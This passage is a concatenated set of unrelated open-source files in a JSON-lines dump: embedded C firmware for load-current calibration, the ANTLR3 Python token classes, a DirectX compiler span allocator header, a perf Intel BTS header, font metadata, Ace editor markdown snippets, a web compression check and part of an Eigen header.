sum / cnt - resLoadCurrCalib : pow5vIoResLoadCurrent - resLoadCurrCalib;*/\n\treturn pow5vIoResLoadCurrent - resLoadCurrCalib;\n}\n\nvoid MeasurePMOSLoadCurrent(void) {\n\tpow5vIoPMOSLoadCurrent = ((kta * mcuTemperature + (((uint16_t)ktb) << 8) ) * ((int32_t)(GetRefLoadCurrent()+0.5))) >> 13; //ktNorm * k12 * refCurr\n}\n\nvoid GetCurrStat(uint8_t stat[]) {\n\tuint8_t i;\n\tfor (i = 0; i < 8; i++) {\n\t\tuint16_t ind = (ADC_BUFFER_LENGTH/8) * i;\n\t\tint16_t diff = ((ADC_GET_BUFFER_SAMPLE(ind) - ADC_GET_BUFFER_SAMPLE(ind+1)) >> 1) + 8;\n\t\tif (diff > 15) diff = 15;\n\t\tif (diff < 0) diff = 0;\n\t\tstat[diff] ++;\n\t}\n}\n\nvoid LoadCurrentSenseTask(void) {\n\tif (AnalogSamplesReady()) {\n\t\tvolatile int32_t newCurr = GetResSenseCurrent();\n\t\tif (newCurr < 3000 && newCurr > -3000) {\n\t\t\tuint8_t i = (currBufferInd++)&0x0F;\n\t\t\tpow5vIoResLoadCurrent -= currBuffer[i] >> 4;\n\t\t\tcurrBuffer[i] = newCurr;\n\t\t\tpow5vIoResLoadCurrent += currBuffer[i] >> 4;\n\t\t}\n\t}\n\n\t/*int32_t sum = 0;\n\tfor (i = 0; i < 16; i++) sum += currBuffer[i];\n\tpow5vIoResLoadCurrent = sum >> 4;*/\n\n\t/*GetCurrStat(pow5vIoResLoadCurrentStat);\n\tif ( !(i&0x0F) ) {\n\t\tuint8_t j;\n\t\tuint8_t maxStat = 0;\n\t\tvolatile int8_t maxInd = 0;\n\t\tfor (j = 0; j < 16; j++) {\n\t\t\tif (pow5vIoResLoadCurrentStat[j] > maxStat) {\n\t\t\t\tmaxStat = pow5vIoResLoadCurrentStat[j];\n\t\t\t\tmaxInd = j;\n\t\t\t}\n\t\t\t//pow5vIoResLoadCurrentStat[j] = 0;\n\t\t}\n\n\t\tint16_t s = 0, cnt = 0;\n\n\t\tfor (j = maxInd - 2; j <= (maxInd+2); j++) {\n\t\t\ts += (int16_t)pow5vIoResLoadCurrentStat[j] * j;\n\t\t\tcnt += pow5vIoResLoadCurrentStat[j];\n\t\t}\n\t\tfor (j = 0; j < 16; j++) pow5vIoResLoadCurrentStat[j] = 0;\n\t\tpow5vIoResLoadCurrent = ( (int32_t)(((float)s/cnt)-8) * 2 * aVdd * 25) >> 8;\n\t}*/\n}\n\nstatic int8_t ReadILoadCalibCoeffs(void) {\n\tkta = 0; // invalid value\n\tktb = 0; // invalid value\n\tresLoadCurrCalib = 0;\n\n\tuint16_t var;\n\tEE_ReadVariable(VDG_ILOAD_CALIB_KTA_NV_ADDR, &var);\n\tif ( (((~var)&0xFF) != (var>>8)) ) return 1;\n\tkta = var&0xFF;\n\n\tEE_ReadVariable(VDG_ILOAD_CALIB_KTB_NV_ADDR, &var);\n\tif ( (((~var)&0xFF) != (var>>8)) ) return 1;\n\tktb = var&0xFF;\n\n\tEE_ReadVariable(RES_ILOAD_CALIB_ZERO_NV_ADDR, &var);\n\tif ( (((~var)&0xFF) != (var>>8)) ) return 1;\n\t//uint8_t c = var&0xFF;\n\tresLoadCurrCalib = (int16_t)10 * ((int8_t)(var&0xFF));\n\n\treturn 0;\n}\n\nvoid LoadCurrentSenseInit(void) {\n\tReadILoadCalibCoeffs();\n}\n\nint8_t CalibrateLoadCurrent(void) {\n\n\tresLoadCurrCalib = pow5vIoResLoadCurrent - 51; // 5.1v/100ohm\n\n\tTurn5vBoost(1);\n\tif (!POW_5V_BOOST_EN_STATUS()) return 1;\n\tPower5VSetModeLDO();\n\tDelayUs(1000);\n\n\tfloat ktNorm = 0.0052 * mcuTemperature + 0.9376;\n\tvolatile float curr = GetRefLoadCurrent();\n\tDelayUs(10000);\n\tcurr += GetRefLoadCurrent();\n\tDelayUs(10000);\n\tcurr += GetRefLoadCurrent();\n\tDelayUs(10000);\n\tcurr += GetRefLoadCurrent();\n\tDelayUs(10000);\n\tcurr += GetRefLoadCurrent();\n\tDelayUs(10000);\n\tcurr += GetRefLoadCurrent();\n\tDelayUs(10000);\n\tcurr += GetRefLoadCurrent();\n\tDelayUs(10000);\n\tcurr += GetRefLoadCurrent();\n\t//if ( curr > (4*52) || curr < (52/4) ) return 2;\n\tfloat k12 = (float)52 * 8 / (curr * ktNorm); // = k / ktNorm;\n\tkta = 0.0052 * k12 * 1024 * 8;\n\tktb = 0.9376 * k12 * 32;\n\tEE_WriteVariable(VDG_ILOAD_CALIB_KTA_NV_ADDR, kta | ((uint16_t)~kta<<8));\n\tEE_WriteVariable(VDG_ILOAD_CALIB_KTB_NV_ADDR, ktb | ((uint16_t)~ktb<<8));\n\n\tuint8_t c = resLoadCurrCalib / 10;\n\tEE_WriteVariable(RES_ILOAD_CALIB_ZERO_NV_ADDR, c | ((uint16_t)~c<<8));\n\tif (resLoadCurrCalib > 1250 || resLoadCurrCalib < -1250) return 2;\n\n\tif ( ReadILoadCalibCoeffs() != 0 ) return 3;\n\n\treturn 0;\n}\n"} {"text": "\"\"\"ANTLR3 runtime package\"\"\"\n\n# begin[licence]\n#\n# [The \"BSD licence\"]\n# Copyright (c) 2005-2008 Terence Parr\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# 3. The name of the author may not be used to endorse or promote products\n# derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n# end[licence]\n\nfrom google.appengine._internal.antlr3.constants import EOF, DEFAULT_CHANNEL, INVALID_TOKEN_TYPE\n\n############################################################################\n#\n# basic token interface\n#\n############################################################################\n\nclass Token(object):\n \"\"\"@brief Abstract token baseclass.\"\"\"\n\n def getText(self):\n \"\"\"@brief Get the text of the token.\n\n Using setter/getter methods is deprecated. Use o.text instead.\n \"\"\"\n raise NotImplementedError\n\n def setText(self, text):\n \"\"\"@brief Set the text of the token.\n\n Using setter/getter methods is deprecated. Use o.text instead.\n \"\"\"\n raise NotImplementedError\n\n\n def getType(self):\n \"\"\"@brief Get the type of the token.\n\n Using setter/getter methods is deprecated. Use o.type instead.\"\"\"\n\n raise NotImplementedError\n\n def setType(self, ttype):\n \"\"\"@brief Get the type of the token.\n\n Using setter/getter methods is deprecated. Use o.type instead.\"\"\"\n\n raise NotImplementedError\n\n\n def getLine(self):\n \"\"\"@brief Get the line number on which this token was matched\n\n Lines are numbered 1..n\n\n Using setter/getter methods is deprecated. Use o.line instead.\"\"\"\n\n raise NotImplementedError\n\n def setLine(self, line):\n \"\"\"@brief Set the line number on which this token was matched\n\n Using setter/getter methods is deprecated. Use o.line instead.\"\"\"\n\n raise NotImplementedError\n\n\n def getCharPositionInLine(self):\n \"\"\"@brief Get the column of the tokens first character,\n\n Columns are numbered 0..n-1\n\n Using setter/getter methods is deprecated. Use o.charPositionInLine instead.\"\"\"\n\n raise NotImplementedError\n\n def setCharPositionInLine(self, pos):\n \"\"\"@brief Set the column of the tokens first character,\n\n Using setter/getter methods is deprecated. Use o.charPositionInLine instead.\"\"\"\n\n raise NotImplementedError\n\n\n def getChannel(self):\n \"\"\"@brief Get the channel of the token\n\n Using setter/getter methods is deprecated. Use o.channel instead.\"\"\"\n\n raise NotImplementedError\n\n def setChannel(self, channel):\n \"\"\"@brief Set the channel of the token\n\n Using setter/getter methods is deprecated. Use o.channel instead.\"\"\"\n\n raise NotImplementedError\n\n\n def getTokenIndex(self):\n \"\"\"@brief Get the index in the input stream.\n\n An index from 0..n-1 of the token object in the input stream.\n This must be valid in order to use the ANTLRWorks debugger.\n\n Using setter/getter methods is deprecated. Use o.index instead.\"\"\"\n\n raise NotImplementedError\n\n def setTokenIndex(self, index):\n \"\"\"@brief Set the index in the input stream.\n\n Using setter/getter methods is deprecated. Use o.index instead.\"\"\"\n\n raise NotImplementedError\n\n\n def getInputStream(self):\n \"\"\"@brief From what character stream was this token created.\n\n You don't have to implement but it's nice to know where a Token\n comes from if you have include files etc... on the input.\"\"\"\n\n raise NotImplementedError\n\n def setInputStream(self, input):\n \"\"\"@brief From what character stream was this token created.\n\n You don't have to implement but it's nice to know where a Token\n comes from if you have include files etc... on the input.\"\"\"\n\n raise NotImplementedError\n\n\n############################################################################\n#\n# token implementations\n#\n# Token\n# +- CommonToken\n# \\- ClassicToken\n#\n############################################################################\n\nclass CommonToken(Token):\n \"\"\"@brief Basic token implementation.\n\n This implementation does not copy the text from the input stream upon\n creation, but keeps start/stop pointers into the stream to avoid\n unnecessary copy operations.\n\n \"\"\"\n\n def __init__(self, type=None, channel=DEFAULT_CHANNEL, text=None,\n input=None, start=None, stop=None, oldToken=None):\n Token.__init__(self)\n\n if oldToken is not None:\n self.type = oldToken.type\n self.line = oldToken.line\n self.charPositionInLine = oldToken.charPositionInLine\n self.channel = oldToken.channel\n self.index = oldToken.index\n self._text = oldToken._text\n if isinstance(oldToken, CommonToken):\n self.input = oldToken.input\n self.start = oldToken.start\n self.stop = oldToken.stop\n\n else:\n self.type = type\n self.input = input\n self.charPositionInLine = -1 # set to invalid position\n self.line = 0\n self.channel = channel\n\n\t #What token number is this from 0..n-1 tokens; < 0 implies invalid index\n self.index = -1\n\n # We need to be able to change the text once in a while. If\n # this is non-null, then getText should return this. Note that\n # start/stop are not affected by changing this.\n self._text = text\n\n # The char position into the input buffer where this token starts\n self.start = start\n\n # The char position into the input buffer where this token stops\n # This is the index of the last char, *not* the index after it!\n self.stop = stop\n\n\n def getText(self):\n if self._text is not None:\n return self._text\n\n if self.input is None:\n return None\n\n return self.input.substring(self.start, self.stop)\n\n\n def setText(self, text):\n \"\"\"\n Override the text for this token. getText() will return this text\n rather than pulling from the buffer. Note that this does not mean\n that start/stop indexes are not valid. It means that that input\n was converted to a new string in the token object.\n\t\"\"\"\n self._text = text\n\n text = property(getText, setText)\n\n\n def getType(self):\n return self.type\n\n def setType(self, ttype):\n self.type = ttype\n\n\n def getLine(self):\n return self.line\n\n def setLine(self, line):\n self.line = line\n\n\n def getCharPositionInLine(self):\n return self.charPositionInLine\n\n def setCharPositionInLine(self, pos):\n self.charPositionInLine = pos\n\n\n def getChannel(self):\n return self.channel\n\n def setChannel(self, channel):\n self.channel = channel\n\n\n def getTokenIndex(self):\n return self.index\n\n def setTokenIndex(self, index):\n self.index = index\n\n\n def getInputStream(self):\n return self.input\n\n def setInputStream(self, input):\n self.input = input\n\n\n def __str__(self):\n if self.type == EOF:\n return \"<EOF>\"\n\n channelStr = \"\"\n if self.channel > 0:\n channelStr = \",channel=\" + str(self.channel)\n\n txt = self.text\n if txt is not None:\n txt = txt.replace(\"\\n\",\"\\\\\\\\n\")\n txt = txt.replace(\"\\r\",\"\\\\\\\\r\")\n txt = txt.replace(\"\\t\",\"\\\\\\\\t\")\n else:\n txt = \"<no text>\"\n\n return \"[@%d,%d:%d=%r,<%d>%s,%d:%d]\" % (\n self.index,\n self.start, self.stop,\n txt,\n self.type, channelStr,\n self.line, self.charPositionInLine\n )\n\n\nclass ClassicToken(Token):\n \"\"\"@brief Alternative token implementation.\n\n A Token object like we'd use in ANTLR 2.x; has an actual string created\n and associated with this object. These objects are needed for imaginary\n tree nodes that have payload objects. We need to create a Token object\n that has a string; the tree node will point at this token. CommonToken\n has indexes into a char stream and hence cannot be used to introduce\n new strings.\n \"\"\"\n\n def __init__(self, type=None, text=None, channel=DEFAULT_CHANNEL,\n oldToken=None\n ):\n Token.__init__(self)\n\n if oldToken is not None:\n self.text = oldToken.text\n self.type = oldToken.type\n self.line = oldToken.line\n self.charPositionInLine = oldToken.charPositionInLine\n self.channel = oldToken.channel\n\n self.text = text\n self.type = type\n self.line = None\n self.charPositionInLine = None\n self.channel = channel\n self.index = None\n\n\n def getText(self):\n return self.text\n\n def setText(self, text):\n self.text = text\n\n\n def getType(self):\n return self.type\n\n def setType(self, ttype):\n self.type = ttype\n\n\n def getLine(self):\n return self.line\n\n def setLine(self, line):\n self.line = line\n\n\n def getCharPositionInLine(self):\n return self.charPositionInLine\n\n def setCharPositionInLine(self, pos):\n self.charPositionInLine = pos\n\n\n def getChannel(self):\n return self.channel\n\n def setChannel(self, channel):\n self.channel = channel\n\n\n def getTokenIndex(self):\n return self.index\n\n def setTokenIndex(self, index):\n self.index = index\n\n\n def getInputStream(self):\n return None\n\n def setInputStream(self, input):\n pass\n\n\n def toString(self):\n channelStr = \"\"\n if self.channel > 0:\n channelStr = \",channel=\" + str(self.channel)\n\n txt = self.text\n if txt is None:\n txt = \"<no text>\"\n\n return \"[@%r,%r,<%r>%s,%r:%r]\" % (self.index,\n txt,\n self.type,\n channelStr,\n self.line,\n self.charPositionInLine\n )\n\n\n __str__ = toString\n __repr__ = toString\n\n\n\nEOF_TOKEN = CommonToken(type=EOF)\n\nINVALID_TOKEN = CommonToken(type=INVALID_TOKEN_TYPE)\n\n# In an action, a lexer rule can set token to this SKIP_TOKEN and ANTLR\n# will avoid creating a token for this symbol and try to fetch another.\nSKIP_TOKEN = CommonToken(type=INVALID_TOKEN_TYPE)\n\n\n"} {"text": "///////////////////////////////////////////////////////////////////////////////\n// //\n// DxilSpanAllocator.h //\n// Copyright (C) Microsoft Corporation. All rights reserved. //\n// This file is distributed under the University of Illinois Open Source //\n// License. See LICENSE.TXT for details. //\n// //\n// Allocator for resources or other things that span a range of space //\n// //\n///////////////////////////////////////////////////////////////////////////////\n\n#pragma once\n\n#include \"dxc/Support/Global.h\"\n#include <set>\n#include <map>\n\nnamespace hlsl {\n\ntemplate<typename T_index, typename T_element>\nclass SpanAllocator {\npublic:\n struct Span {\n Span(const T_element *element, T_index start, T_index end)\n : element(element), start(start), end(end) {\n DXASSERT_NOMSG(!(end < start));\n }\n const T_element *element;\n T_index start, end; // inclusive\n bool operator<(const Span &other) const { return end < other.start; }\n };\n typedef std::set<Span> SpanSet;\n\npublic:\n SpanAllocator(T_index Min, T_index Max)\n : m_Min(Min), m_Max(Max), m_FirstFree(Min),\n m_Unbounded(nullptr), m_AllocationFull(false) {\n DXASSERT_NOMSG(Min <= Max);\n }\n T_index GetMin() { return m_Min; }\n T_index GetMax() { return m_Max; }\n T_index GetFirstFree() { return m_FirstFree; }\n bool IsFull() { return m_AllocationFull; }\n void SetUnbounded(const T_element *element) { m_Unbounded = element; }\n const T_element *GetUnbounded() const { return m_Unbounded; }\n const SpanSet &GetSpans() const { return m_Spans; }\n\n // Find size gap starting at pos, updating pos, and returning true if successful\n bool Find(T_index size, T_index &pos, T_index align = 1) {\n DXASSERT_NOMSG(size);\n if (size - 1 > m_Max - m_Min)\n return false;\n if (pos < m_FirstFree)\n pos = m_FirstFree;\n if (!UpdatePos(pos, size, align))\n return false;\n T_index end = pos + (size - 1);\n auto next = m_Spans.lower_bound(Span(nullptr, pos, end));\n if (next == m_Spans.end() || end < next->start)\n return true; // it fits here\n return Find(size, next, pos, align);\n }\n\n // Finds the farthest position at which an element could be allocated.\n bool FindForUnbounded(T_index &pos, T_index align = 1) {\n if (m_Spans.empty()) {\n pos = m_Min;\n return UpdatePos(pos, /*size*/1, align);\n }\n\n pos = m_Spans.crbegin()->end;\n return IncPos(pos, /*inc*/ 1, /*size*/1, align);\n }\n\n // allocate element size in first available space, returns false on failure\n bool Allocate(const T_element *element, T_index size, T_index &pos, T_index align = 1) {\n DXASSERT_NOMSG(size);\n if (size - 1 > m_Max - m_Min)\n return false;\n if (m_AllocationFull)\n return false;\n pos = m_FirstFree;\n if (!UpdatePos(pos, size, align))\n return false;\n auto result = m_Spans.emplace(element, pos, pos + (size - 1));\n if (result.second) {\n AdvanceFirstFree(result.first);\n return true;\n }\n // Collision, find a gap from iterator\n if (!Find(size, result.first, pos, align))\n return false;\n result = m_Spans.emplace(element, pos, pos + (size - 1));\n return result.second;\n }\n\n bool AllocateUnbounded(const T_element *element, T_index &pos, T_index align = 1) {\n if (m_AllocationFull)\n return false;\n if (m_Spans.empty()) {\n pos = m_Min;\n if (!UpdatePos(pos, /*size*/1, align))\n return false;\n } else {\n // This will allocate after the last span\n auto it = m_Spans.end(); --it; // find last span\n DXASSERT_NOMSG(it != m_Spans.end());\n pos = it->end;\n if (!IncPos(pos, /*inc*/1, /*size*/1, align))\n return false;\n }\n const T_element *conflict = Insert(element, pos, m_Max);\n DXASSERT_NOMSG(!conflict);\n if (!conflict)\n SetUnbounded(element);\n return !conflict;\n }\n\n // Insert at specific location, returning conflicting element on collision\n const T_element *Insert(const T_element *element, T_index start, T_index end) {\n DXASSERT_NOMSG(m_Min <= start && start <= end && end <= m_Max);\n auto result = m_Spans.emplace(element, start, end);\n if (!result.second)\n return result.first->element;\n AdvanceFirstFree(result.first);\n return nullptr;\n }\n\n // Insert at specific location, overwriting anything previously there,\n // losing their element pointer, but conserving the spans they represented.\n void ForceInsertAndClobber(const T_element *element, T_index start, T_index end) {\n DXASSERT_NOMSG(m_Min <= start && start <= end && end <= m_Max);\n for (;;) {\n auto result = m_Spans.emplace(element, start, end);\n if (result.second)\n break;\n // Delete the spans we overlap with, but make sure our new span covers what they covered.\n start = std::min(result.first->start, start);\n end = std::max(result.first->end, end);\n m_Spans.erase(result.first);\n }\n }\n\nprivate:\n // Find size gap starting at iterator, updating pos, and returning true if successful\n bool Find(T_index size, typename SpanSet::const_iterator it, T_index &pos, T_index align = 1) {\n pos = it->end;\n if (!IncPos(pos, /*inc*/1, size, align))\n return false;\n for (++it; it != m_Spans.end() && (it->start < pos || it->start - pos < size); ++it) {\n pos = it->end;\n if (!IncPos(pos, /*inc*/1, size, align))\n return false;\n }\n return true;\n }\n\n // Advance m_FirstFree if it's in span\n void AdvanceFirstFree(typename SpanSet::const_iterator it) {\n if (it->start <= m_FirstFree && m_FirstFree <= it->end) {\n for (; it != m_Spans.end(); ) {\n if (it->end >= m_Max) {\n m_AllocationFull = true;\n break;\n }\n m_FirstFree = it->end + 1;\n ++it;\n if (it != m_Spans.end() && m_FirstFree < it->start)\n break;\n }\n }\n }\n\n T_index Align(T_index pos, T_index align) {\n T_index rem = (1 < align) ? pos % align : 0;\n return rem ? pos + (align - rem) : pos;\n }\n\n bool IncPos(T_index &pos, T_index inc = 1, T_index size = 1, T_index align = 1) {\n DXASSERT_NOMSG(inc > 0);\n if (pos + inc < pos)\n return false; // overflow\n pos += inc;\n return UpdatePos(pos, size, align);\n }\n bool UpdatePos(T_index &pos, T_index size = 1, T_index align = 1) {\n if ((size - 1) > m_Max - m_Min || pos < m_Min || pos > m_Max - (size - 1))\n return false;\n T_index aligned = Align(pos, align);\n if (aligned < pos || aligned > m_Max - (size - 1))\n return false; // overflow on alignment, or won't fit\n pos = aligned;\n return true;\n }\n\nprivate:\n SpanSet m_Spans;\n T_index m_Min, m_Max, m_FirstFree;\n const T_element *m_Unbounded;\n bool m_AllocationFull;\n};\n\ntemplate<typename T_index, typename T_element>\nclass SpacesAllocator {\npublic:\n typedef SpanAllocator<T_index, T_element> Allocator;\n typedef std::map<T_index, Allocator > AllocatorMap;\n\n Allocator &Get(T_index SpaceID) {\n auto it = m_Allocators.find(SpaceID);\n if (it != m_Allocators.end())\n return it->second;\n auto result = m_Allocators.emplace(SpaceID, Allocator(0, UINT_MAX));\n DXASSERT(result.second, \"Failed to allocate new Allocator\");\n return result.first->second;\n }\n\nprivate:\n AllocatorMap m_Allocators;\n};\n\n}\n"} {"text": "/* SPDX-License-Identifier: GPL-2.0-only */\n/*\n * intel-bts.h: Intel Processor Trace support\n * Copyright (c) 2013-2014, Intel Corporation.\n */\n\n#ifndef INCLUDE__PERF_INTEL_BTS_H__\n#define INCLUDE__PERF_INTEL_BTS_H__\n\n#define INTEL_BTS_PMU_NAME \"intel_bts\"\n\nenum {\n\tINTEL_BTS_PMU_TYPE,\n\tINTEL_BTS_TIME_SHIFT,\n\tINTEL_BTS_TIME_MULT,\n\tINTEL_BTS_TIME_ZERO,\n\tINTEL_BTS_CAP_USER_TIME_ZERO,\n\tINTEL_BTS_SNAPSHOT_MODE,\n\tINTEL_BTS_AUXTRACE_PRIV_MAX,\n};\n\n#define INTEL_BTS_AUXTRACE_PRIV_SIZE (INTEL_BTS_AUXTRACE_PRIV_MAX * sizeof(u64))\n\nstruct auxtrace_record;\nstruct perf_tool;\nunion perf_event;\nstruct perf_session;\n\nstruct auxtrace_record *intel_bts_recording_init(int *err);\n\nint intel_bts_process_auxtrace_info(union perf_event *event,\n\t\t\t\t struct perf_session *session);\n\n#endif\n"} {"text": "name: \"Modak\"\ndesigner: \"Ek Type\"\nlicense: \"OFL\"\ncategory: \"DISPLAY\"\ndate_added: \"2015-02-18\"\nfonts {\n name: \"Modak\"\n style: \"normal\"\n weight: 400\n filename: \"Modak-Regular.ttf\"\n post_script_name: \"Modak\"\n full_name: \"Modak\"\n copyright: \"Copyright (c) 2015 Ek Type (www.ektype.in)\"\n}\nsubsets: \"menu\"\nsubsets: \"devanagari\"\nsubsets: \"latin\"\nsubsets: \"latin-ext\"\n"} {"text": "ace.define('ace/snippets/markdown', ['require', 'exports', 'module' ], function(require, exports, module) {\n\n\nexports.snippetText = \"# Markdown\\n\\\n\\n\\\n# Includes octopress (http://octopress.org/) snippets\\n\\\n\\n\\\nsnippet [\\n\\\n\t[${1:text}](http://${2:address} \\\"${3:title}\\\")\\n\\\nsnippet [*\\n\\\n\t[${1:link}](${2:`@*`} \\\"${3:title}\\\")${4}\\n\\\n\\n\\\nsnippet [:\\n\\\n\t[${1:id}]: http://${2:url} \\\"${3:title}\\\"\\n\\\nsnippet [:*\\n\\\n\t[${1:id}]: ${2:`@*`} \\\"${3:title}\\\"\\n\\\n\\n\\\nsnippet ![\\n\\\n\t![${1:alttext}](${2:/images/image.jpg} \\\"${3:title}\\\")\\n\\\nsnippet ![*\\n\\\n\t![${1:alt}](${2:`@*`} \\\"${3:title}\\\")${4}\\n\\\n\\n\\\nsnippet ![:\\n\\\n\t![${1:id}]: ${2:url} \\\"${3:title}\\\"\\n\\\nsnippet ![:*\\n\\\n\t![${1:id}]: ${2:`@*`} \\\"${3:title}\\\"\\n\\\n\\n\\\nsnippet ===\\n\\\nregex /^/=+/=*//\\n\\\n\t${PREV_LINE/./=/g}\\n\\\n\t\\n\\\n\t${0}\\n\\\nsnippet ---\\n\\\nregex /^/-+/-*//\\n\\\n\t${PREV_LINE/./-/g}\\n\\\n\t\\n\\\n\t${0}\\n\\\nsnippet blockquote\\n\\\n\t{% blockquote %}\\n\\\n\t${1:quote}\\n\\\n\t{% endblockquote %}\\n\\\n\\n\\\nsnippet blockquote-author\\n\\\n\t{% blockquote ${1:author}, ${2:title} %}\\n\\\n\t${3:quote}\\n\\\n\t{% endblockquote %}\\n\\\n\\n\\\nsnippet blockquote-link\\n\\\n\t{% blockquote ${1:author} ${2:URL} ${3:link_text} %}\\n\\\n\t${4:quote}\\n\\\n\t{% endblockquote %}\\n\\\n\\n\\\nsnippet bt-codeblock-short\\n\\\n\t```\\n\\\n\t${1:code_snippet}\\n\\\n\t```\\n\\\n\\n\\\nsnippet bt-codeblock-full\\n\\\n\t``` ${1:language} ${2:title} ${3:URL} ${4:link_text}\\n\\\n\t${5:code_snippet}\\n\\\n\t```\\n\\\n\\n\\\nsnippet codeblock-short\\n\\\n\t{% codeblock %}\\n\\\n\t${1:code_snippet}\\n\\\n\t{% endcodeblock %}\\n\\\n\\n\\\nsnippet codeblock-full\\n\\\n\t{% codeblock ${1:title} lang:${2:language} ${3:URL} ${4:link_text} %}\\n\\\n\t${5:code_snippet}\\n\\\n\t{% endcodeblock %}\\n\\\n\\n\\\nsnippet gist-full\\n\\\n\t{% gist ${1:gist_id} ${2:filename} %}\\n\\\n\\n\\\nsnippet gist-short\\n\\\n\t{% gist ${1:gist_id} %}\\n\\\n\\n\\\nsnippet img\\n\\\n\t{% img ${1:class} ${2:URL} ${3:width} ${4:height} ${5:title_text} ${6:alt_text} %}\\n\\\n\\n\\\nsnippet youtube\\n\\\n\t{% youtube ${1:video_id} %}\\n\\\n\\n\\\n# The quote should appear only once in the text. It is inherently part of it.\\n\\\n# See http://octopress.org/docs/plugins/pullquote/ for more info.\\n\\\n\\n\\\nsnippet pullquote\\n\\\n\t{% pullquote %}\\n\\\n\t${1:text} {\\\" ${2:quote} \\\"} ${3:text}\\n\\\n\t{% endpullquote %}\\n\\\n\";\nexports.scope = \"markdown\";\n\n});\n"} {"text": "/**\n * Description: This check looks if the content is compressed (deflate or gzip) to reduce\n * the time spent in the transfer.\n *\n * Copyright (c) Microsoft Corporation; All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this\n * file except in compliance with the License. You may obtain a copy of the License at\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * THIS CODE IS PROVIDED AS IS BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER\n * EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED WARRANTIES OR CONDITIONS\n * OF TITLE, FITNESS FOR A PARTICULAR PURPOSE, MERCHANTABLITY OR NON-INFRINGEMENT.\n *\n * See the Apache Version 2.0 License for specific language governing permissions\n * and limitations under the License.\n */\n\n'use strict';\n\nvar bluebird = require('bluebird');\n\nvar check = bluebird.method(function (website) {\n\tvar test = {\n\t\ttestName: 'compression',\n\t\tpassed: website.compression !== 'none',\n\t\tdata: {\n\t\t\tcompression: website.compression\n\t\t}\n\t};\n\n\treturn test;\n});\n\nmodule.exports.check = check;"} {"text": "// This file is part of Eigen, a lightweight C++ template library\n// for linear algebra.\n//\n// Copyright (C) 2008 Gael Guennebaud <gael.guennebaud@inria.fr>\n// Copyright (C) 2008 Benoit Jacob <jacob.benoit.1@gmail.com>\n//\n// This Source Code Form is subject to the terms of the Mozilla\n// Public License v. 2.0. If a copy of the MPL was not distributed\n// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n#ifndef EIGEN_CWISE_H\n#define EIGEN_CWISE_H\n\nnamespace Eigen { \n\n/** \\internal\n * convenient macro to defined the return type of a cwise binary operation */\n#define EIGEN_CWISE_BINOP_RETURN_TYPE(OP) \\\n CwiseBinaryOp<OP<typename internal::traits<ExpressionType>::Scalar>, ExpressionType, OtherDerived>\n\n/** \\internal\n * convenient macro to defined the return type of a cwise unary operation */\n#define EIGEN_CWISE_UNOP_RETURN_TYPE(OP) \\\n CwiseUnaryOp<OP<typename internal::traits<ExpressionType>::Scalar>, ExpressionType>\n\n/** \\internal\n * convenient macro to defined the return type of a cwise comparison to a scalar */\n#define EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(OP) \\\n CwiseBinaryOp<OP<typename internal::traits<ExpressionType>::Scalar>, ExpressionType, \\\n typename ExpressionType::ConstantReturnType >\n\n/** \\class Cwise\n *\n * \\brief Pseudo expression providing additional coefficient-wise operations\n *\n * \\param ExpressionType the type of the object on which to do coefficient-wise operations\n *\n * This class represents an expression with additional coefficient-wise features.\n * It is the return type of MatrixBase::cwise()\n * and most of the time this is the only way it is used.\n *\n * Example: \\include MatrixBase_cwise_const.cpp\n * Output: \\verbinclude MatrixBase_cwise_const.out\n *\n * This class can be extended with the help of the plugin mechanism described on the page\n * \\ref TopicCustomizingEigen by defining the preprocessor symbol \\c EIGEN_CWISE_PLUGIN.\n *\n * \\sa MatrixBase::cwise() const, MatrixBase::cwise()\n */\ntemplate<typename ExpressionType> class Cwise\n{\n public:\n\n typedef typename internal::traits<ExpressionType>::Scalar Scalar;\n typedef typename internal::conditional<internal::must_nest_by_value<ExpressionType>::ret,\n ExpressionType, const ExpressionType&>::type ExpressionTypeNested;\n typedef CwiseUnaryOp<internal::scalar_add_op<Scalar>, ExpressionType> ScalarAddReturnType;\n\n inline Cwise(const ExpressionType& matrix) : m_matrix(matrix) {}\n\n /** \\internal */\n inline const ExpressionType& _expression() const { return m_matrix; }\n\n template<typename OtherDerived>\n const EIGEN_CWISE_PRODUCT_RETURN_TYPE(ExpressionType,OtherDerived)\n operator*(const MatrixBase<OtherDerived> &other) const;\n\n template<typename OtherDerived>\n const EIGEN_CWISE_BINOP_RETURN_TYPE(internal::scalar_quotient_op)\n operator/(const MatrixBase<OtherDerived> &other) const;\n\n /** \\deprecated ArrayBase::min() */\n template<typename OtherDerived>\n const EIGEN_CWISE_BINOP_RETURN_TYPE(internal::scalar_min_op)\n (min)(const MatrixBase<OtherDerived> &other) const\n { return EIGEN_CWISE_BINOP_RETURN_TYPE(internal::scalar_min_op)(_expression(), other.derived()); }\n\n /** \\deprecated ArrayBase::max() 